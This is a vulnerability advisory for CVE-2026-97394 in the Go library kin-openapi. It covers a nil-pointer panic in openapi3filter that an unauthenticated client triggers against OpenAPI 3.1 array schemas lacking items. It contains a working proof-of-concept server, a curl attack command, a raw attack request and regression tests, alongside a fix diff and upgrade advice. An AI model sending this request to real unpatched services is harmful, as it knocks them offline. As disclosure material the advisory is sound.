CVE-2026-97394: kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items
### Summary A nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit. ### Details **Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`. **Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421): ```go case propType.Is("array"): items := propSchema.Value.Items.Value // Items == nil → panic ``` This runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder). The same nil `Items` also crashes: | Path | Location | Trigger | |---|---|---| | `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property | | `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params | `Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application. **Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.: ```diff case propType.Is("array"): + if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { + return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName) + } items := propSchema.Value.Items.Value ``` Apply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`. ### PoC Verified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`. **1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`: ```yaml openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ``` **2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`: ```go package main import ( "fmt" "log" "net/http" "strings" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { log.Fatal(err) } if err := doc.Validate(loader.Context); err != nil { log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err) } fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value. Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items) router, err := gorillamux.NewRouter(doc) if err != nil { log.Fatal(err) } // Direct call (no net/http recover): proves the library itself panics. req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pp, _ := router.FindRoute(req) func() { defer func() { if r := recover(); r != nil { fmt.Printf("DIRECT_PANIC: %v\n", r) } }() _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Println("DIRECT_PANIC: none (unexpected)") }() mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) _, _ = w.Write([]byte("ok\n")) }) addr := "127.0.0.1:8085" fmt.Printf("listening on http://%s/f\n", addr) fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f") log.Fatal(http.ListenAndServe(addr, mux)) } ``` **3. Observed output** (`go run .`): ``` SPEC_ACCEPTED; Items == <nil> DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference listening on http://127.0.0.1:8085/f ``` Then: ``` curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f ``` Server log: ``` http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference … openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421 … openapi3filter.ValidateRequest … ``` Stack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` → `ValidateRequestBody` → `decodeBody`. **Attack request:** ``` POST /f HTTP/1.1 Host: victim Content-Type: application/x-www-form-urlencoded tags=a ``` (Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.) **4. Regression / multi-surface test suite** — save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`: ```go package openapi3filter_test import ( "bytes" "context" "fmt" "io" "mime/multipart" "net/http" "net/http/httptest" "strings" "testing" "github.com/stretchr/testify/require" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const urlencodedSpec31 = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` const urlencodedSpec30 = ` openapi: 3.0.3 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` const multipartSpec31 = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` const responseHeaderSpec31 = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /hdr: get: responses: '200': description: ok headers: X-Tags: schema: {type: array} ` func catchPanic(fn func()) (panicValue any) { defer func() { panicValue = recover() }() fn() return nil } func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content. Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value require.True(t, schema.Type.Is("array")) require.Nil(t, schema.Items) } func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec30)) require.NoError(t, err) require.Error(t, doc.Validate(loader.Context)) } func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err) got := catchPanic(func() { _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") } func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(multipartSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) var buf bytes.Buffer w := multipart.NewWriter(&buf) require.NoError(t, w.WriteField("tags", "a")) require.NoError(t, w.Close()) req, err := http.NewRequest(http.MethodPost, "/upload", &buf) require.NoError(t, err) req.Header.Set("Content-Type", w.FormDataContentType()) route, pathParams, err := router.FindRoute(req) require.NoError(t, err) got := catchPanic(func() { _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") } func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(responseHeaderSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) req, err := http.NewRequest(http.MethodGet, "/hdr", nil) require.NoError(t, err) route, pathParams, err := router.FindRoute(req) require.NoError(t, err) got := catchPanic(func() { _ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{ RequestValidationInput: &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }, Status: http.StatusOK, Header: http.Header{"X-Tags": []string{"a,b"}}, Body: io.NopCloser(strings.NewReader("")), }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") } func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) var panicCount int mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) { defer func() { if recover() != nil { panicCount++ http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError) } }() route, pathParams, err := router.FindRoute(r) require.NoError(t, err) err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) }) srv := httptest.NewServer(mux) t.Cleanup(srv.Close) const n = 5 for i := 0; i < n; i++ { resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a")) require.NoError(t, err) _, _ = io.ReadAll(resp.Body) _ = resp.Body.Close() require.Equal(t, http.StatusInternalServerError, resp.StatusCode) } require.Equal(t, n, panicCount) } func TestArrayItemsNilPanic_Deterministic(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) const attempts = 50 panics := 0 for i := 0; i < attempts; i++ { req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err) if catchPanic(func() { _ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) != nil { panics++ } } require.Equal(t, attempts, panics) } ``` **Observed results on the vulnerable tree:** - 3.1 accepts the schema (`Items == nil`); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with `nil pointer dereference` - **50/50** panic rate (100% deterministic) - E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` → HTTP 500 ### Impact - **Type:** NULL Pointer Dereference → **unauthenticated remote denial of service**. - **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — `doc.Validate()` does **not** reject them under 3.1. - **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body. - **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash. - **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).
Recommended action
Recommended action
Upgrade affected packages to a patched version: github.com/getkin/kin-openapi 0.143.0.
Technical details
- Vendor
- Not specified
- Product
- github.com/getkin/kin-openapi
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source